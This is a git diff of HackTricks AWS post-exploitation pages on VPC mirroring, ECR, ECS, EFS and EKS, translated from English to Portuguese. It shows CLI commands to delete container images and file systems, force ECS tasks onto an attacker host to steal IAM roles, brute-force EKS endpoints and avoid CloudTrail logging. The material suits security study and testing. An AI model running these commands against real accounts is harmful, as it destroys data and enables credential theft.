a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md @@ -2,18 +2,14 @@ {{#include ../../../../banners/hacktricks-training.md}} -**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!** +**Verifique** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **para mais detalhes do ataque!** -Passive network inspection in a cloud environment has been **challenging**, requiring major configuration changes to monitor network traffic. However, a new feature called “**VPC Traffic Mirroring**” has been introduced by AWS to simplify this process. With VPC Traffic Mirroring, network traffic within VPCs can be **duplicated** without installing any software on the instances themselves. This duplicated traffic can be sent to a network intrusion detection system (IDS) for **analysis**. +A inspeção passiva de rede em um ambiente de nuvem tem sido **desafiadora**, exigindo grandes mudanças de configuração para monitorar o tráfego de rede. No entanto, um novo recurso chamado “**VPC Traffic Mirroring**” foi introduzido pela AWS para simplificar esse processo. Com o VPC Traffic Mirroring, o tráfego de rede dentro das VPCs pode ser **duplicado** sem instalar nenhum software nas instâncias. Esse tráfego duplicado pode ser enviado para um sistema de detecção de intrusões de rede (IDS) para **análise**. -To address the need for **automated deployment** of the necessary infrastructure for mirroring and exfiltrating VPC traffic, we have developed a proof-of-concept script called “**malmirror**”. This script can be used with **compromised AWS credentials** to set up mirroring for all supported EC2 instances in a target VPC. It is important to note that VPC Traffic Mirroring is only supported by EC2 instances powered by the AWS Nitro system, and the VPC mirror target must be within the same VPC as the mirrored hosts. +Para atender à necessidade de **implantação automatizada** da infraestrutura necessária para espelhar e exfiltrar o tráfego da VPC, desenvolvemos um script de prova de conceito chamado “**malmirror**”. Este script pode ser usado com **credenciais AWS comprometidas** para configurar o espelhamento para todas as instâncias EC2 suportadas em uma VPC alvo. É importante notar que o VPC Traffic Mirroring é suportado apenas por instâncias EC2 alimentadas pelo sistema AWS Nitro, e o alvo do espelho VPC deve estar dentro da mesma VPC que os hosts espelhados. -The **impact** of malicious VPC traffic mirroring can be significant, as it allows attackers to access **sensitive information** transmitted within VPCs. The **likelihood** of such malicious mirroring is high, considering the presence of **cleartext traffic** flowing through VPCs. Many companies use cleartext protocols within their internal networks for **performance reasons**, assuming traditional man-in-the-middle attacks are not possible. +O **impacto** do espelhamento de tráfego VPC malicioso pode ser significativo, pois permite que atacantes acessem **informações sensíveis** transmitidas dentro das VPCs. A **probabilidade** de tal espelhamento malicioso é alta, considerando a presença de **tráfego em texto claro** fluindo através das VPCs. Muitas empresas usam protocolos em texto claro dentro de suas redes internas por **razões de desempenho**, assumindo que ataques tradicionais de man-in-the-middle não são possíveis. -For more information and access to the [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), it can be found on our **GitHub repository**. The script automates and streamlines the process, making it **quick, simple, and repeatable** for offensive research purposes. +Para mais informações e acesso ao [**script malmirror**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), ele pode ser encontrado em nosso **repositório GitHub**. O script automatiza e simplifica o processo, tornando-o **rápido, simples e repetível** para fins de pesquisa ofensiva. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md index a971ea769..a2b0fe3a6 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md @@ -1,17 +1,16 @@ -# AWS - ECR Post Exploitation +# AWS - ECR Pós Exploração {{#include ../../../banners/hacktricks-training.md}} ## ECR -For more information check +Para mais informações, consulte {{#ref}} ../aws-services/aws-ecr-enum.md {{#endref}} ### Login, Pull & Push - ```bash # Docker login into ecr ## For public repo (always use us-east-1) @@ -38,17 +37,16 @@ docker push .dkr.ecr..amazonaws.com/purplepanda:latest # Downloading without Docker # List digests aws ecr batch-get-image --repository-name level2 \ - --registry-id 653711331788 \ - --image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' +--registry-id 653711331788 \ +--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' ## Download a digest aws ecr get-download-url-for-layer \ - --repository-name level2 \ - --registry-id 653711331788 \ - --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" +--repository-name level2 \ +--registry-id 653711331788 \ +--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" ``` - -After downloading the images you should **check them for sensitive info**: +Após baixar as imagens, você deve **verificá-las em busca de informações sensíveis**: {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics @@ -56,25 +54,24 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` -An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. This would result in the loss of all container images stored in the repository. - +Um atacante com qualquer uma dessas permissões pode **criar ou modificar uma política de ciclo de vida para deletar todas as imagens no repositório** e então **deletar todo o repositório ECR**. Isso resultaria na perda de todas as imagens de contêiner armazenadas no repositório. ```bash bashCopy code# Create a JSON file with the malicious lifecycle policy echo '{ - "rules": [ - { - "rulePriority": 1, - "description": "Delete all images", - "selection": { - "tagStatus": "any", - "countType": "imageCountMoreThan", - "countNumber": 0 - }, - "action": { - "type": "expire" - } - } - ] +"rules": [ +{ +"rulePriority": 1, +"description": "Delete all images", +"selection": { +"tagStatus": "any", +"countType": "imageCountMoreThan", +"countNumber": 0 +}, +"action": { +"type": "expire" +} +} +] }' > malicious_policy.json # Apply the malicious lifecycle policy to the ECR repository @@ -92,9 +89,4 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag # Delete multiple images from the ECR public repository aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md index 1d2fd80a5..256b9c94c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md @@ -1,53 +1,48 @@ -# AWS - ECS Post Exploitation +# AWS - ECS Pós Exploração {{#include ../../../banners/hacktricks-training.md}} ## ECS -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} -### Host IAM Roles +### Funções IAM do Host -In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\ -Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check: +No ECS, uma **função IAM pode ser atribuída à tarefa** que está sendo executada dentro do contêiner. **Se** a tarefa estiver sendo executada dentro de uma **instância EC2**, a **instância EC2** terá **outra função IAM** anexada a ela.\ +O que significa que, se você conseguir **comprometer** uma instância ECS, poderá potencialmente **obter a função IAM associada ao ECR e à instância EC2**. Para mais informações sobre como obter essas credenciais, consulte: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} > [!CAUTION] -> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance. +> Observe que, se a instância EC2 estiver aplicando IMDSv2, [**de acordo com a documentação**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), a **resposta da solicitação PUT** terá um **limite de salto de 1**, tornando impossível acessar os metadados da EC2 a partir de um contêiner dentro da instância EC2. -### Privesc to node to steal other containers creds & secrets +### Privesc para nó para roubar credenciais e segredos de outros contêineres -But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached. +Além disso, o EC2 usa docker para executar tarefas ECs, então, se você conseguir escapar para o nó ou **acessar o socket do docker**, você pode **verificar** quais **outros contêineres** estão sendo executados e até mesmo **entrar neles** e **roubar suas funções IAM** anexadas. -#### Making containers run in current host - -Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container. +#### Fazendo contêineres rodarem no host atual +Além disso, a **função da instância EC2** geralmente terá permissões suficientes para **atualizar o estado da instância do contêiner** das instâncias EC2 que estão sendo usadas como nós dentro do cluster. Um atacante poderia modificar o **estado de uma instância para DRAINING**, então o ECS **removerá todas as tarefas dela** e as que estão sendo executadas como **REPLICA** serão **executadas em uma instância diferente,** potencialmente dentro da **instância do atacante**, para que ele possa **roubar suas funções IAM** e informações sensíveis potenciais de dentro do contêiner. ```bash aws ecs update-container-instances-state \ - --cluster --status DRAINING --container-instances +--cluster --status DRAINING --container-instances ``` - -The same technique can be done by **deregistering the EC2 instance from the cluster**. This is potentially less stealthy but it will **force the tasks to be run in other instances:** - +A mesma técnica pode ser feita **desregistrando a instância EC2 do cluster**. Isso é potencialmente menos furtivo, mas **forçará as tarefas a serem executadas em outras instâncias:** ```bash aws ecs deregister-container-instance \ - --cluster --container-instance --force +--cluster --container-instance --force ``` - -A final technique to force the re-execution of tasks is by indicating ECS that the **task or container was stopped**. There are 3 potential APIs to do this: - +Uma técnica final para forçar a reexecução de tarefas é indicando ao ECS que a **tarefa ou contêiner foi parado**. Existem 3 APIs potenciais para fazer isso: ```bash # Needs: ecs:SubmitTaskStateChange aws ecs submit-task-state-change --cluster \ - --status STOPPED --reason "anything" --containers [...] +--status STOPPED --reason "anything" --containers [...] # Needs: ecs:SubmitContainerStateChange aws ecs submit-container-state-change ... @@ -55,13 +50,8 @@ aws ecs submit-container-state-change ... # Needs: ecs:SubmitAttachmentStateChanges aws ecs submit-attachment-state-changes ... ``` +### Roubar informações sensíveis de contêineres ECR -### Steal sensitive info from ECR containers - -The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them). +A instância EC2 provavelmente também terá a permissão `ecr:GetAuthorizationToken`, permitindo que ela **baixe imagens** (você pode procurar por informações sensíveis nelas). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md index 35b644689..31c5f0b5b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - EFS Post Exploitation +# AWS - EFS Pós Exploração {{#include ../../../banners/hacktricks-training.md}} ## EFS -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-efs-enum.md @@ -12,47 +12,35 @@ For more information check: ### `elasticfilesystem:DeleteMountTarget` -An attacker could delete a mount target, potentially disrupting access to the EFS file system for applications and users relying on that mount target. - +Um atacante poderia deletar um ponto de montagem, potencialmente interrompendo o acesso ao sistema de arquivos EFS para aplicações e usuários que dependem desse ponto de montagem. ```sql aws efs delete-mount-target --mount-target-id ``` - -**Potential Impact**: Disruption of file system access and potential data loss for users or applications. +**Impacto Potencial**: Interrupção do acesso ao sistema de arquivos e potencial perda de dados para usuários ou aplicativos. ### `elasticfilesystem:DeleteFileSystem` -An attacker could delete an entire EFS file system, which could lead to data loss and impact applications relying on the file system. - +Um atacante poderia deletar um sistema de arquivos EFS inteiro, o que poderia levar à perda de dados e impactar aplicativos que dependem do sistema de arquivos. ```perl aws efs delete-file-system --file-system-id ``` - -**Potential Impact**: Data loss and service disruption for applications using the deleted file system. +**Impacto Potencial**: Perda de dados e interrupção de serviço para aplicações que utilizam o sistema de arquivos excluído. ### `elasticfilesystem:UpdateFileSystem` -An attacker could update the EFS file system properties, such as throughput mode, to impact its performance or cause resource exhaustion. - +Um atacante poderia atualizar as propriedades do sistema de arquivos EFS, como o modo de throughput, para impactar seu desempenho ou causar exaustão de recursos. ```sql aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps ``` +**Impacto Potencial**: Degradação do desempenho do sistema de arquivos ou exaustão de recursos. -**Potential Impact**: Degradation of file system performance or resource exhaustion. - -### `elasticfilesystem:CreateAccessPoint` and `elasticfilesystem:DeleteAccessPoint` - -An attacker could create or delete access points, altering access control and potentially granting themselves unauthorized access to the file system. +### `elasticfilesystem:CreateAccessPoint` e `elasticfilesystem:DeleteAccessPoint` +Um atacante poderia criar ou excluir pontos de acesso, alterando o controle de acesso e potencialmente concedendo a si mesmo acesso não autorizado ao sistema de arquivos. ```arduino aws efs create-access-point --file-system-id --posix-user --root-directory aws efs delete-access-point --access-point-id ``` - -**Potential Impact**: Unauthorized access to the file system, data exposure or modification. +**Impacto Potencial**: Acesso não autorizado ao sistema de arquivos, exposição ou modificação de dados. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md index eb1f77f46..b1ed6dcb8 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md @@ -1,113 +1,104 @@ -# AWS - EKS Post Exploitation +# AWS - EKS Pós Exploração {{#include ../../../banners/hacktricks-training.md}} ## EKS -For mor information check +Para mais informações, consulte {{#ref}} ../aws-services/aws-eks-enum.md {{#endref}} -### Enumerate the cluster from the AWS Console +### Enumerar o cluster a partir do Console AWS -If you have the permission **`eks:AccessKubernetesApi`** you can **view Kubernetes objects** via AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). +Se você tiver a permissão **`eks:AccessKubernetesApi`**, você pode **visualizar objetos Kubernetes** através do console AWS EKS ([Saiba mais](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). -### Connect to AWS Kubernetes Cluster - -- Easy way: +### Conectar ao Cluster Kubernetes da AWS +- Maneira fácil: ```bash # Generate kubeconfig aws eks update-kubeconfig --name aws-eks-dev ``` +- Não é um caminho tão fácil: -- Not that easy way: - -If you can **get a token** with **`aws eks get-token --name `** but you don't have permissions to get cluster info (describeCluster), you could **prepare your own `~/.kube/config`**. However, having the token, you still need the **url endpoint to connect to** (if you managed to get a JWT token from a pod read [here](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) and the **name of the cluster**. - -In my case, I didn't find the info in CloudWatch logs, but I **found it in LaunchTemaplates userData** and in **EC2 machines in userData also**. You can see this info in **userData** easily, for example in the next example (the cluster name was cluster-name): +Se você conseguir **obter um token** com **`aws eks get-token --name `** mas não tiver permissões para obter informações do cluster (describeCluster), você pode **preparar seu próprio `~/.kube/config`**. No entanto, tendo o token, você ainda precisa da **url do endpoint para se conectar** (se você conseguiu obter um token JWT de um pod leia [aqui](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) e o **nome do cluster**. +No meu caso, não encontrei as informações nos logs do CloudWatch, mas eu **encontrai no userData dos LaunchTemplates** e nas **máquinas EC2 no userData também**. Você pode ver essas informações em **userData** facilmente, por exemplo, no próximo exemplo (o nome do cluster era cluster-name): ```bash API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com /etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false ``` -
kube config - ```yaml describe-cache-parametersapiVersion: v1 clusters: - - cluster: - certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== - server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com - name: arn:aws:eks:us-east-1::cluster/ +- cluster: +certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== +server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com +name: arn:aws:eks:us-east-1::cluster/ contexts: - - context: - cluster: arn:aws:eks:us-east-1::cluster/ - user: arn:aws:eks:us-east-1::cluster/ - name: arn:aws:eks:us-east-1::cluster/ +- context: +cluster: arn:aws:eks:us-east-1::cluster/ +user: arn:aws:eks:us-east-1::cluster/ +name: arn:aws:eks:us-east-1::cluster/ current-context: arn:aws:eks:us-east-1::cluster/ kind: Config preferences: {} users: - - name: arn:aws:eks:us-east-1::cluster/ - user: - exec: - apiVersion: client.authentication.k8s.io/v1beta1 - args: - - --region - - us-west-2 - - --profile - - - - eks - - get-token - - --cluster-name - - - command: aws - env: null - interactiveMode: IfAvailable - provideClusterInfo: false +- name: arn:aws:eks:us-east-1::cluster/ +user: +exec: +apiVersion: client.authentication.k8s.io/v1beta1 +args: +- --region +- us-west-2 +- --profile +- +- eks +- get-token +- --cluster-name +- +command: aws +env: null +interactiveMode: IfAvailable +provideClusterInfo: false ``` -
-### From AWS to Kubernetes +### De AWS para Kubernetes -The **creator** of the **EKS cluster** is **ALWAYS** going to be able to get into the kubernetes cluster part of the group **`system:masters`** (k8s admin). At the time of this writing there is **no direct way** to find **who created** the cluster (you can check CloudTrail). And the is **no way** to **remove** that **privilege**. +O **criador** do **cluster EKS** **SEMPRE** poderá acessar a parte do cluster kubernetes do grupo **`system:masters`** (admin k8s). No momento da redação, não há **nenhuma maneira direta** de descobrir **quem criou** o cluster (você pode verificar o CloudTrail). E não há **como** **remover** esse **privilégio**. -The way to grant **access to over K8s to more AWS IAM users or roles** is using the **configmap** **`aws-auth`**. +A maneira de conceder **acesso ao K8s para mais usuários ou funções do AWS IAM** é usando o **configmap** **`aws-auth`**. > [!WARNING] -> Therefore, anyone with **write access** over the config map **`aws-auth`** will be able to **compromise the whole cluster**. +> Portanto, qualquer pessoa com **acesso de escrita** sobre o config map **`aws-auth`** poderá **comprometer todo o cluster**. -For more information about how to **grant extra privileges to IAM roles & users** in the **same or different account** and how to **abuse** this to [**privesc check this page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). +Para mais informações sobre como **conceder privilégios extras a funções e usuários IAM** na **mesma ou em outra conta** e como **abusar** disso, [**verifique esta página**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). -Check also[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**. +Confira também [**este post incrível**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **para aprender como a autenticação IAM -> Kubernetes funciona**. -### From Kubernetes to AWS +### De Kubernetes para AWS -It's possible to allow an **OpenID authentication for kubernetes service account** to allow them to assume roles in AWS. Learn how [**this work in this page**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). +É possível permitir uma **autenticação OpenID para a conta de serviço kubernetes** para permitir que elas assumam funções na AWS. Aprenda como [**isso funciona nesta página**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). -### GET Api Server Endpoint from a JWT Token - -Decoding the JWT token we get the cluster id & also the region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Knowing that the standard format for EKS url is +### OBTER Endpoint do Api Server a partir de um Token JWT +Decodificando o token JWT, obtemos o id do cluster e também a região. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Sabendo que o formato padrão para a URL do EKS é ```bash https://...eks.amazonaws.com ``` - -Didn't find any documentation that explain the criteria for the 'two chars' and the 'number'. But making some test on my behalf I see recurring these one: +Não encontrei nenhuma documentação que explique os critérios para os 'dois caracteres' e o 'número'. Mas fazendo alguns testes por conta própria, vejo que esses se repetem: - gr7 - yl4 -Anyway are just 3 chars we can bruteforce them. Use the below script for generating the list - +De qualquer forma, são apenas 3 caracteres que podemos bruteforçar. Use o script abaixo para gerar a lista. ```python from itertools import product from string import ascii_lowercase @@ -116,44 +107,37 @@ letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2) number_combinations = product('0123456789', repeat = 1) result = [ - f'{''.join(comb[0])}{comb[1][0]}' - for comb in product(letter_combinations, number_combinations) +f'{''.join(comb[0])}{comb[1][0]}' +for comb in product(letter_combinations, number_combinations) ] with open('out.txt', 'w') as f: - f.write('\n'.join(result)) +f.write('\n'.join(result)) ``` - -Then with wfuzz - +Então com wfuzz ```bash wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com ``` - > [!WARNING] -> Remember to replace & . +> Lembre-se de substituir & . ### Bypass CloudTrail -If an attacker obtains credentials of an AWS with **permission over an EKS**. If the attacker configures it's own **`kubeconfig`** (without calling **`update-kubeconfig`**) as explained previously, the **`get-token`** doesn't generate logs in Cloudtrail because it doesn't interact with the AWS API (it just creates the token locally). +Se um atacante obtiver credenciais de um AWS com **permissão sobre um EKS**. Se o atacante configurar seu próprio **`kubeconfig`** (sem chamar **`update-kubeconfig`**) como explicado anteriormente, o **`get-token`** não gera logs no Cloudtrail porque não interage com a API da AWS (apenas cria o token localmente). -So when the attacker talks with the EKS cluster, **cloudtrail won't log anything related to the user being stolen and accessing it**. +Portanto, quando o atacante se comunica com o cluster EKS, **o cloudtrail não registrará nada relacionado ao usuário sendo roubado e acessando-o**. -Note that the **EKS cluster might have logs enabled** that will log this access (although, by default, they are disabled). +Note que o **cluster EKS pode ter logs habilitados** que registrarão esse acesso (embora, por padrão, estejam desativados). ### EKS Ransom? -By default the **user or role that created** a cluster is **ALWAYS going to have admin privileges** over the cluster. And that the only "secure" access AWS will have over the Kubernetes cluster. +Por padrão, o **usuário ou função que criou** um cluster **SEMPRE terá privilégios de administrador** sobre o cluster. E que o único acesso "seguro" que a AWS terá sobre o cluster Kubernetes. -So, if an **attacker compromises a cluster using fargate** and **removes all the other admins** and d**eletes the AWS user/role that created** the Cluster, ~~the attacker could have **ransomed the cluste**~~**r**. +Assim, se um **atacante comprometer um cluster usando fargate** e **remover todos os outros administradores** e **deletar o usuário/função AWS que criou** o Cluster, ~~o atacante poderia ter **resgatado o cluster**~~**r**. > [!TIP] -> Note that if the cluster was using **EC2 VMs**, it could be possible to get Admin 